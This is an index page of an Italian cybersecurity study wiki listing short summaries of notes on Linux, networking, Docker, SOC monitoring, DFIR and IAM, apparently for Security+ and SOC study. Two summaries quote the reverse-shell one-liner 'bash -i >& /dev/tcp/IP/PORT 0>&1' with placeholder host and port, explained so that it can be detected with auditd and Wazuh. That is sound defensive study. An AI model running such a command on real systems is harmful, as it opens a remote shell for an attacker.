Concetti
βΆ π OS & Linux Internals (35)
β
Panoramica delle risorse alternative ai manuali ufficiali (man) per consultare rapidamente esempi pratici di comandi CLI.
β
Analisi dei componenti core di Wazuh: Agent, Manager, Indexer e Dashboard. Funzionamento del flusso di telemetria.
β
Analisi del comando bash -i >& /dev/tcp/IP/PORT 0>&1 - come funzionano i redirect di file descriptor e il pseudo-device /dev/tcp.
β
I file di startup di bash determinano quali variabili, alias e funzioni vengono caricati all'avvio della shell. L'ordine di lettura dipende dal tipo di sessione: login shell o non-login shell.
β
Metodi per concatenare piu' comandi in un'unica riga di comando e gestire il flusso dell'output.
β
Tecnica di offuscamento che consiste nel comprimere un file piΓΉ volte usando algoritmi diversi per nasconderne il contenuto e la firma.
β
L'archiviazione raggruppa piΓΉ file in uno solo (container), mentre la compressione riduce lo spazio occupato dai dati eliminando le ridondanze.
β
La directory /etc/ contiene i file di configurazione globali del sistema operativo. Include i database critici per la gestione di utenti, gruppi e privilegi.
β
I tre canali standard aperti in ogni processo Unix: stdin (0), stdout (1), stderr (2). Fondamentali per capire pipe, redirezione e comportamento dei tool da terminale.
β
Concetto Core: In Linux, una directory non Γ¨ un semplice 'contenitore', ma un file speciale che funge da indice. Al suo interno risiedono voci che associano il nome di ogni elemento al suo numero di inode. L'inode Γ¨ la struttura dati che contiene i metadati e i puntatori ai blocchi fisici sul disco.
β
Analisi dei tre pilastri (Document Root, Permessi, Configurazione) che determinano cosa e' esposto sul web e come i container aggiungono un ulteriore strato di isolamento.
β
L'Inode (Index Node) Γ¨ la struttura dati fondamentale dei filesystem Unix-like. Funge da 'carta d'identitΓ ' del file, contenendo tutti i metadati e i puntatori ai dati fisici, ma ignorando completamente il nome del file.
β
Motore firewall del kernel Linux basato su Netfilter. Organizza le regole in chain (INPUT, OUTPUT, FORWARD). UFW Γ¨ un frontend che traduce comandi semplici in regole iptables.
β
systemd-journald e' il demone che raccoglie e indicizza tutti i log di sistema in un database binario strutturato. A differenza di auth.log, usa FSS per rendere le modifiche rilevabili. Si legge con journalctl.
β
Il kernel Γ¨ il nucleo del sistema operativo. Le syscall sono l'interfaccia tra programmi utente e kernel. Architetture diverse (ARM64, x86_64) hanno numeri di syscall diversi.
β
Meccanismi del filesystem per far sì che un file appaia in più posizioni contemporaneamente.
β
Un collegamento simbolico (Symlink) il cui percorso di destinazione non esiste piΓΉ sul filesystem. Il link punta al 'nulla'.
β
Lo standard (FHS - Filesystem Hierarchy Standard) che definisce la posizione e il contenuto delle directory principali in un sistema Linux. Tutto parte dalla 'radice' rappresentata dal simbolo `/`.
β
Un processo e' un programma in esecuzione con PID univoco, spazio di memoria isolato e stato. Il kernel crea l'illusione del multitasking switching rapidamente tra processi in coda CPU.
β
La gestione della rete su Linux varia a seconda della distribuzione e dello scopo (Server vs Desktop). Ubuntu Server usa principalmente Netplan, mentre Kali (e le distro desktop) usa spesso NetworkManager o il file statico `interfaces`.
β
Un'interfaccia di rete Γ¨ il punto di contatto tra il kernel Linux e una rete - fisica o virtuale. Ogni interfaccia ha un nome, un indirizzo IP, e gestisce un tipo specifico di traffico.
β
Distinzione tra i piani operativi: Disaster Recovery Plan, Incident Response Plan, Business Continuity Plan e Change Management. Termini D4/D5 Security+ frequenti.
β
PAM (Pluggable Authentication Modules) e' il sistema di autenticazione modulare di Linux. Ogni servizio delega l'autenticazione a PAM che esegue una catena di moduli configurabili in /etc/pam.d/.
β
Il metodo per rendere permanenti gli alias salvandoli nei file di configurazione della shell invece di lasciarli nella memoria volatile della sessione.
β
POSIX (Portable Operating System Interface) e' uno standard IEEE che definisce il comportamento di shell, comandi e chiamate di sistema su Unix-like. Garantisce portabilita' degli script tra bash, zsh, sh e dash.
β
Distinzione tra risk register, risk tolerance, risk transfer e risk analysis. Termini D5 Security+ che escono spesso nelle domande.
β
La logica per cui l'eliminazione di un file in Linux non Γ¨ la distruzione dei dati, ma la rimozione di un riferimento (link) all'Inode.
β
Set di strumenti malevoli progettati per nascondere processi, file e connessioni di rete, spesso operando a livello di Kernel.
β
Processi che girano in background senza interazione diretta dell'utente, gestiti solitamente da `systemd`.
β
Lo shebang (#!) e' la sequenza nei primi due byte di uno script che dice al kernel quale interprete usare. Senza shebang lo script viene eseguito dalla shell corrente - comportamento non portabile.
β
Le shell Unix sono interpreti di comandi che implementano POSIX come contratto minimo comune. sh e dash sono minimali e veloci, bash aggiunge estensioni comode, zsh aggiunge ancora di piu', fish rompe la compatibilita' POSIX per una sintassi piu' pulita.
β
L'ambiente shell e' l'insieme di variabili d'ambiente ereditate dai processi figli. Distingue variabili locali (solo shell corrente) da variabili d'ambiente (esportate, visibili ai figli).
β
Un socket Γ¨ un endpoint di comunicazione che permette a due processi di scambiare dati, sia sulla stessa macchina che attraverso la rete. In Linux, un socket Γ¨ un file con un proprio File Descriptor, gestito dal Kernel.
β
I tre canali di comunicazione che ogni processo Linux apre automaticamente: stdin (0), stdout (1), stderr (2). Fondamentale per capire pipe, redirezione e come collegare comandi tra loro.
TCP e UDP sono i due protocolli di trasporto al livello 4 dello stack OSI. TCP garantisce consegna ordinata con handshake e conferme. UDP e' senza connessione - veloce ma senza garanzie.
βΆ π Network Defense (40)
β
Protocollo che traduce indirizzi IP (Layer 3) in indirizzi MAC (Layer 2). Quando un dispositivo vuole comunicare con un IP nella stessa subnet, usa ARP per scoprire il MAC address corrispondente prima di poter inviare i dati.
β
Guida completa al routing globale: gerarchia delle reti, analogia delle CittΓ -Stato, differenze tra IGP/eBGP/iBGP e analisi del BGP Hijacking.
β
VulnerabilitΓ A03 OWASP: input utente viene passato a una shell di sistema senza sanitizzazione. Permette esecuzione arbitraria di comandi sul server.
β
Protocollo che assegna automaticamente configurazione di rete ai dispositivi che si connettono - IP address, subnet mask, gateway, DNS. Senza DHCP ogni dispositivo dovrebbe essere configurato manualmente.
β
Come funziona la risoluzione DNS e la richiesta HTTP in una LAN flat con switch, senza router nΓ© gateway.
β
I record DNS sono le singole 'voci' nella zona DNS di un dominio. Ogni record associa un nome a un valore specifico (IP, altro nome, server di posta, testo di verifica). Quando modifichi i parametri DNS nel pannello del tuo provider, stai editando questi record.
β
Il DNS Γ¨ il sistema distribuito gerarchico che traduce nomi di dominio in indirizzi IP attraverso una catena di deleghe: resolver, root server, TLD, authoritative nameserver.
β
Tecnica C2 che usa il protocollo DNS per trasportare comandi e dati esfiltrati, bypassando i firewall perche' UDP 53 e' quasi sempre permesso.
β
Differenza tra frame (L2), pacchetto IP (L3) e segmento TCP (L4). Matrioska OSI, NIC, stream indipendenti per livello. Base per leggere correttamente tshark e Wireshark.
β
Architettura completa di una richiesta web end-to-end: DNS, WAF, load balancer, web server, virtual host, database, contenuto statico vs dinamico, backend languages.
β
Protocollo HTTP: struttura URL, metodi, status code, header, cookie e sessioni. Prospettiva applicativa.
β
Come appare una sessione HTTP in Wireshark: TCP segmentation, MSS, Nagle's algorithm, gzip. Prospettiva packet analysis.
β
Tre concetti fondamentali del networking: IP identifica dove sei nella rete (indirizzo logico), MAC identifica chi sei fisicamente sulla LAN (indirizzo hardware), ICMP Γ¨ il protocollo di diagnostica usato da ping e traceroute.
β
IDS rileva, IPS blocca. HIDS/HIPS agiscono sull'host, NIDS/NIPS sulla rete. La differenza inline/non-inline determina quando il blocco avviene.
β
L'indirizzamento IP definisce l'identitΓ di una macchina in rete (IP) e il confine del suo quartiere (Subnet Mask). RFC1918, broadcast, segmentazione Blue Team.
β
Struttura dell'header IPv4: campi principali, TTL, frammentazione, checksum. IPv4 opera a Layer 3 e si occupa del routing tra reti diverse. Diverso da MAC che opera solo nella LAN.
β
Matematica del subnetting: formula host 2^n-2, calcolo binario, conversione CIDR/mask, /32, routing table e flusso pacchetto attraverso router.
β
Motore firewall del kernel Linux basato su Netfilter. Organizza le regole in chain (INPUT, OUTPUT, FORWARD). UFW Γ¨ un frontend che traduce comandi semplici in regole iptables.
β
Successore di IPv4 a 128 bit. Elimina la scarsitΓ di indirizzi, rimuove il broadcast, introduce multicast nativo, header fisso a 40 byte. Adozione globale ~45-49% (2026). Richiede firewall esplicito - niente NAT implicito.
β
Una topologia di rete descrive come i dispositivi sono collegati fisicamente e logicamente tra loro. La scelta della topologia influenza costo, scalabilitΓ , affidabilitΓ e facilitΓ di troubleshooting.
β
Maximum Transmission Unit - la dimensione massima in byte del payload di un frame su un link fisico. Opera a Layer 2. Determina se un pacchetto IP deve essere frammentato o se il mittente deve ridurre la dimensione dei dati.
β
Il NAT Γ¨ un meccanismo che permette a piΓΉ dispositivi di una rete privata (con IP privati) di accedere a una rete pubblica (Internet) utilizzando un unico indirizzo IP pubblico. Funziona come un portiere d'albergo che smista la posta per tutte le stanze.
β
Protocollo IPv6 che sostituisce ARP. Usa ICMPv6 e multicast invece di broadcast per trovare il MAC address di un host nella stessa LAN. Neighbor Solicitation (type 135) chiede, Neighbor Advertisement (type 136) risponde.
β
La gestione della rete su Linux varia a seconda della distribuzione e dello scopo (Server vs Desktop). Ubuntu Server usa principalmente Netplan, mentre Kali (e le distro desktop) usa spesso NetworkManager o il file statico `interfaces`.
β
Un'interfaccia di rete Γ¨ il punto di contatto tra il kernel Linux e una rete - fisica o virtuale. Ogni interfaccia ha un nome, un indirizzo IP, e gestisce un tipo specifico di traffico.
β
Modello concettuale creato da ISO nel 1984 per standardizzare la comunicazione tra sistemi di produttori diversi. Divide la comunicazione di rete in 7 layer con responsabilitΓ precise. Oggi TCP/IP ha vinto nella pratica comprimendo i 7 layer in 4, ma OSI rimane il linguaggio universale per ragionare sui problemi di rete e sicurezza.
β
Framework di classificazione delle 10 vulnerabilitΓ web piΓΉ critiche. Usato dai SOC analyst per categorizzare gli attacchi nei log e nei report.
β
Fase di raccolta informazioni su un target senza interagire direttamente con i suoi sistemi. Il target non si accorge dell'attivitΓ perchΓ© si usano solo fonti pubbliche: motori di ricerca, DNS pubblici, social media, archivi, certificati TLS.
β
Un server proxy agisce come intermediario tra un client e un server. A differenza del NAT che lavora a basso livello (IP), il proxy lavora solitamente a livello applicativo. Il client chiede al proxy, e il proxy chiede al server finale 'per conto' del client.
β
Tecnica di accesso remoto dove la vittima si connette verso l'attaccante. Bypassa i firewall in ingresso. Rilevabile con auditd, Suricata o regole Wazuh custom.
β
Il connettore RJ-45 ha 8 pin con ruoli TX/RX distinti. I cavi dritti collegano dispositivi diversi, i cavi incrociati collegano dispositivi uguali. Il segnale elettrico codifica i bit tramite variazioni di tensione.
β
Come configurare il routing statico su router Cisco per connettere una LAN privata a una rete pubblica simulata, con DNS e HTTP server esterni.
β
Il routing Γ¨ il processo con cui i pacchetti viaggiano da una rete all'altra attraverso router intermedi. Ogni 'tappa' si chiama hop. Il TTL limita il numero massimo di hop che un pacchetto puΓ² fare prima di essere scartato.
β
SMTP trasporta le email tra server. Architettura MUA/MTA, porte, flusso di consegna, email spoofing e meccanismi difensivi SPF/DKIM/DMARC.
β
VulnerabilitΓ web che permette di manipolare le query database tramite input non sanificati, bypassando i controlli di sicurezza.
β
Metodo di autenticazione sicura basato sulla crittografia asimmetrica. Utilizza una coppia di chiavi (pubblica e privata) per stabilire fiducia tra client e server senza inviare password in rete.
β
Il TCP handshake e' la negoziazione obbligatoria che precede qualsiasi trasmissione dati via TCP. Tre pacchetti stabiliscono la connessione, uno la chiude. I flag nei pacchetti dicono tutto su cosa sta succedendo.
β
Spiegazione del meccanismo di conferma (ACK) del TCP e mappatura semplificata degli strati OSI (Layer 2, 3, 4) per l'analisi dei log.
β
I tre modi in cui un pacchetto puΓ² essere indirizzato in rete: a uno solo (unicast), a tutti (broadcast), a un gruppo (multicast).
Porte da sapere a memoria per Security+ SY0-701. Organizzate per categoria: file transfer, remote access, email, web, directory, network services, database, VPN/IPSec.
βΆ π Cloud & Container (10)
β
docker.sock e' il Unix domain socket che permette al Docker CLI di comunicare con dockerd. Montarlo dentro un container equivale a dare al container il controllo completo di Docker - e quindi dell'host.
β
Modello mentale per capire Docker prima di entrare nei dettagli tecnici. Ogni container e' un mini Linux isolato - un appartamento in un condominio.
β
Il problema fondamentale dei bind mount Docker: l'UID dell'utente host e l'UID dell'utente container non coincidono, causando errori di permesso sui file montati. Soluzione: entrypoint dinamico che crea l'utente con il UID corretto a runtime.
β
File YAML che descrive un'applicazione multi-container: quali immagini usare, come configurarle, come collegarle in rete, dove salvare i dati. Un solo file per gestire tutta l'infrastruttura.
β
Un'immagine Docker e' il template immutabile da cui nascono i container. Contiene il filesystem, le dipendenze e le istruzioni di avvio. Il container e' l'immagine in esecuzione.
β
Docker crea reti virtuali isolate tra container. I container sulla stessa rete si vedono per nome (DNS interno). Quelli su reti diverse non si parlano - isolamento per design.
β
I rischi di sicurezza specifici di Docker: docker.sock come vettore di privilege escalation, container root, porte esposte, immagini vulnerabili. Come difendersi da ciascuno.
β
Meccanismo di persistenza dei dati in Docker. I volumi sopravvivono al ciclo di vita dei container e possono essere condivisi tra piu container.
β
File di istruzioni per costruire un'immagine Docker. Ogni istruzione aggiunge un layer. ENTRYPOINT e CMD definiscono cosa esegue il container quando parte.
Analisi dei tre pilastri (Document Root, Permessi, Configurazione) che determinano cosa e' esposto sul web e come i container aggiungono un ulteriore strato di isolamento.
βΆ π Observability (16)
β
Analisi dei componenti core di Wazuh: Agent, Manager, Indexer e Dashboard. Funzionamento del flusso di telemetria.
β
auth.log e' il file di log delle autenticazioni su sistemi Debian/Ubuntu. Registra login SSH, sudo, su, adduser, userdel e ogni evento PAM. E' un file di testo alterabile da root - il journal e' piu' resistente alla manomissione.
β
Una stringa standard di 68 caratteri utilizzata per testare il corretto funzionamento di antivirus, EDR e SIEM senza usare codice malevolo reale.
β
IDS rileva, IPS blocca. HIDS/HIPS agiscono sull'host, NIDS/NIPS sulla rete. La differenza inline/non-inline determina quando il blocco avviene.
β
Definizione di IR, confronto framework (NIST, PICERL, MITRE ATT&CK, Time Based Security) e dettaglio operativo delle fasi PICERL con checklist.
β
Gestione degli incidenti secondo Modiga cap 9: fasi IH, detection, analisi, prioritizzazione, SIEM tuning, containment. Nota in corso - p. 509.
β
Interpretazione degli indirizzi IP (0.0.0.0, 127.0.0.1, ::) e delle porte in ascolto durante l'investigazione SOC.
β
Storicamente, Linux ha sempre salvato i log in file di testo semplice dentro `/var/log` (gestiti da un servizio chiamato `syslog` o `rsyslog`). Con l'avvento di [systemd](/concetti/systemd/), Γ¨ stato introdotto [journald](/concetti/journald/), che salva i log in un database binario.
β
systemd-journald e' il demone che raccoglie e indicizza tutti i log di sistema in un database binario strutturato. A differenza di auth.log, usa FSS per rendere le modifiche rilevabili. Si legge con journalctl.
β
Adversarial Tactics, Techniques, and Common Knowledge. Matrice globale per la tassonomia dei comportamenti avversari, con guida operativa all'uso in un SOC.
β
Server intermediario che si posiziona davanti all'infrastruttura interna, accettando tutte le richieste esterne e distribuendole ai server giusti. Protegge il server, non il client.
β
Mappa delle figure dirigenziali e dei ruoli security in un'organizzazione. Utile per domande di governance e GRC sul Security+.
β
Classificazione dei controlli di sicurezza per tipo (Technical/Administrative/Physical) e per funzione (Preventive/Detective/Corrective/Compensating/Deterrent/Directive).
β
Struttura operativa di un SOC: tier, ruoli specializzati, modelli di deployment (interno/esterno/ibrido), SLA, KPI, differenza SOC vs NOC.
β
Livelli gerarchici del SOC, attivitΓ operative Tier 1-3, impatto dell'AI (SOC 2.0) e vantaggi del background da Developer.
Come integrare auditd con Wazuh (Docker) per rilevare bash /dev/tcp: architettura agent/manager, permessi, formato log, regola XML custom.
βΆ π DFIR (15)
β
Analisi del comando bash -i >& /dev/tcp/IP/PORT 0>&1 - come funzionano i redirect di file descriptor e il pseudo-device /dev/tcp.
β
La triade CIA definisce i tre obiettivi fondamentali della sicurezza informatica: Confidentiality, Integrity, Availability. Ogni attacco viola almeno uno di questi tre pilastri.
β
Come funziona la risoluzione DNS e la richiesta HTTP in una LAN flat con switch, senza router nΓ© gateway.
β
Tecnica C2 che usa il protocollo DNS per trasportare comandi e dati esfiltrati, bypassando i firewall perche' UDP 53 e' quasi sempre permesso.
β
Differenza tra frame (L2), pacchetto IP (L3) e segmento TCP (L4). Matrioska OSI, NIC, stream indipendenti per livello. Base per leggere correttamente tshark e Wireshark.
β
Git memorizza tutto come oggetti immutabili nel database .git/objects. Ogni commit, system, albero e tag e' un oggetto con un hash SHA-1. Capire questa struttura e' fondamentale per il secret scanning - i segreti sopravvivono nella storia anche dopo la rimozione.
β
Come appare una sessione HTTP in Wireshark: TCP segmentation, MSS, Nagle's algorithm, gzip. Prospettiva packet analysis.
β
Definizione di IR, confronto framework (NIST, PICERL, MITRE ATT&CK, Time Based Security) e dettaglio operativo delle fasi PICERL con checklist.
β
Gestione degli incidenti secondo Modiga cap 9: fasi IH, detection, analisi, prioritizzazione, SIEM tuning, containment. Nota in corso - p. 509.
β
Distinzione tra i piani operativi: Disaster Recovery Plan, Incident Response Plan, Business Continuity Plan e Change Management. Termini D4/D5 Security+ frequenti.
β
Mappa delle figure dirigenziali e dei ruoli security in un'organizzazione. Utile per domande di governance e GRC sul Security+.
β
Il secret scanning e' la pratica di cercare credenziali, chiavi API e segreti esposti per errore in repository git, file di configurazione e log. E' uno dei vettori di compromissione piu' comuni e sottovalutati.
β
Classificazione dei controlli di sicurezza per tipo (Technical/Administrative/Physical) e per funzione (Preventive/Detective/Corrective/Compensating/Deterrent/Directive).
β
Struttura operativa di un SOC: tier, ruoli specializzati, modelli di deployment (interno/esterno/ibrido), SLA, KPI, differenza SOC vs NOC.
Come integrare auditd con Wazuh (Docker) per rilevare bash /dev/tcp: architettura agent/manager, permessi, formato log, regola XML custom.
βΆ π Threat Intel (9)
β
La triade CIA definisce i tre obiettivi fondamentali della sicurezza informatica: Confidentiality, Integrity, Availability. Ogni attacco viola almeno uno di questi tre pilastri.
β
CVE (Common Vulnerabilities and Exposures) Γ¨ il dizionario ufficiale delle vulnerabilitΓ informatiche. NVD (National Vulnerability Database) arricchisce ogni CVE con score di gravitΓ , metriche tecniche e prodotti affetti.
β
Il DNS Γ¨ il sistema distribuito gerarchico che traduce nomi di dominio in indirizzi IP attraverso una catena di deleghe: resolver, root server, TLD, authoritative nameserver.
β
Sintassi speciale per affinare le ricerche su Google e altri motori. In ambito OSINT e threat intelligence permettono di trovare informazioni specifiche su target, vulnerabilitΓ , e risorse tecniche con precisione chirurgica.
β
Definizione di IR, confronto framework (NIST, PICERL, MITRE ATT&CK, Time Based Security) e dettaglio operativo delle fasi PICERL con checklist.
β
Framework di classificazione delle 10 vulnerabilitΓ web piΓΉ critiche. Usato dai SOC analyst per categorizzare gli attacchi nei log e nei report.
β
Fase di raccolta informazioni su un target senza interagire direttamente con i suoi sistemi. Il target non si accorge dell'attivitΓ perchΓ© si usano solo fonti pubbliche: motori di ricerca, DNS pubblici, social media, archivi, certificati TLS.
β
Il secret scanning e' la pratica di cercare credenziali, chiavi API e segreti esposti per errore in repository git, file di configurazione e log. E' uno dei vettori di compromissione piu' comuni e sottovalutati.
Struttura operativa di un SOC: tier, ruoli specializzati, modelli di deployment (interno/esterno/ibrido), SLA, KPI, differenza SOC vs NOC.
βΆ π Malware Analysis (1)
I Magic Bytes sono sequenze di byte posizionate all'inizio di un file (nell'header) che permettono al sistema operativo e ai software di identificarne il tipo reale, indipendentemente dall'estensione.
βΆ π Persistence (7)
β
I rischi di sicurezza specifici di Docker: docker.sock come vettore di privilege escalation, container root, porte esposte, immagini vulnerabili. Come difendersi da ciascuno.
β
Un collegamento simbolico (Symlink) il cui percorso di destinazione non esiste piΓΉ sul filesystem. Il link punta al 'nulla'.
β
Tecnica di accesso remoto dove la vittima si connette verso l'attaccante. Bypassa i firewall in ingresso. Rilevabile con auditd, Suricata o regole Wazuh custom.
β
Processi che girano in background senza interazione diretta dell'utente, gestiti solitamente da `systemd`.
β
La differenza tra shell interattiva e non interattiva determina quali file di configurazione vengono letti all'avvio. Fondamentale per capire persistence via dotfile e comportamento di SSH.
β
I tre bit speciali dei permessi Linux: SUID fa girare un processo con i permessi del proprietario del file, SGID con quelli del gruppo, Sticky Bit impedisce la cancellazione da parte di chi non Γ¨ proprietario.
`systemd` Γ¨ il init system e il gestore dei servizi (Service Manager) standard per la maggior parte delle distribuzioni Linux moderne (Ubuntu, Kali, Debian). Γ il primo processo che viene avviato dal Kernel (PID 1) e ha il compito di 'tirare su' tutto il resto del sistema.
βΆ π IAM (15)
β
docker.sock e' il Unix domain socket che permette al Docker CLI di comunicare con dockerd. Montarlo dentro un container equivale a dare al container il controllo completo di Docker - e quindi dell'host.
β
auth.log e' il file di log delle autenticazioni su sistemi Debian/Ubuntu. Registra login SSH, sudo, su, adduser, userdel e ogni evento PAM. E' un file di testo alterabile da root - il journal e' piu' resistente alla manomissione.
β
Il problema fondamentale dei bind mount Docker: l'UID dell'utente host e l'UID dell'utente container non coincidono, causando errori di permesso sui file montati. Soluzione: entrypoint dinamico che crea l'utente con il UID corretto a runtime.
β
I rischi di sicurezza specifici di Docker: docker.sock come vettore di privilege escalation, container root, porte esposte, immagini vulnerabili. Come difendersi da ciascuno.
β
La directory /etc/ contiene i file di configurazione globali del sistema operativo. Include i database critici per la gestione di utenti, gruppi e privilegi.
β
Il file `/etc/passwd` Γ¨ il database locale degli account utente. Γ un file di testo pubblico (leggibile da tutti) che definisce chi puΓ² accedere al sistema.
β
I gruppi sono entitΓ logiche che raggruppano piΓΉ utenti per facilitare la gestione granulare dei permessi su file, directory e risorse hardware.
β
Il sistema di permessi Linux si basa su tre livelli (User, Group, Others) e tre bit (r, w, x) che cambiano significato a seconda che l'oggetto sia un file o una directory.
β
Si definiscono 'orfani' i file che possiedono un UID (User ID) o un GID (Group ID) che non corrispondono piΓΉ a nessun utente o gruppo esistente nel sistema.
β
PAM (Pluggable Authentication Modules) e' il sistema di autenticazione modulare di Linux. Ogni servizio delega l'autenticazione a PAM che esegue una catena di moduli configurabili in /etc/pam.d/.
β
Metodo di autenticazione sicura basato sulla crittografia asimmetrica. Utilizza una coppia di chiavi (pubblica e privata) per stabilire fiducia tra client e server senza inviare password in rete.
β
Protocollo per connessioni remote cifrate. Sostituisce Telnet e rlogin. Handshake, TOFU, autenticazione con chiave, challenge-response, Perfect Forward Secrecy. Confronto con TLS.
β
Il sistema `sudo` (SuperUser DO) permette a utenti fidati di eseguire comandi con i privilegi di sicurezza di un altro utente (normalmente root).
β
I tre bit speciali dei permessi Linux: SUID fa girare un processo con i permessi del proprietario del file, SGID con quelli del gruppo, Sticky Bit impedisce la cancellazione da parte di chi non Γ¨ proprietario.
UID (User ID) e GID (Group ID) sono identificativi numerici che il Kernel Linux utilizza per identificare utenti e gruppi e applicare le policy di controllo accessi (Permissions). In un sistema Linux, poichΓ© 'tutto Γ¨ un file', il sistema ha bisogno di un modo univoco per stabilire chi possiede cosa e quali permessi ha. UID e GID sono le 'carte d'identitΓ ' digitali che il Kernel utilizza per gestir
βΆ π Automation (3)
β
Le graffe {} raggruppano piu' comandi in un unico stdout. La pipe che segue riceve tutto l'output come se fosse un comando solo. Fondamentale per mandare stream di dati a un processo senza aprire connessioni multiple.
β
Git memorizza tutto come oggetti immutabili nel database .git/objects. Ogni commit, system, albero e tag e' un oggetto con un hash SHA-1. Capire questa struttura e' fondamentale per il secret scanning - i segreti sopravvivono nella storia anche dopo la rimozione.
Sintassi bash per passare blocchi di testo multiriga come stdin a un comando. Usato con sudo tee per scrivere file di sistema.
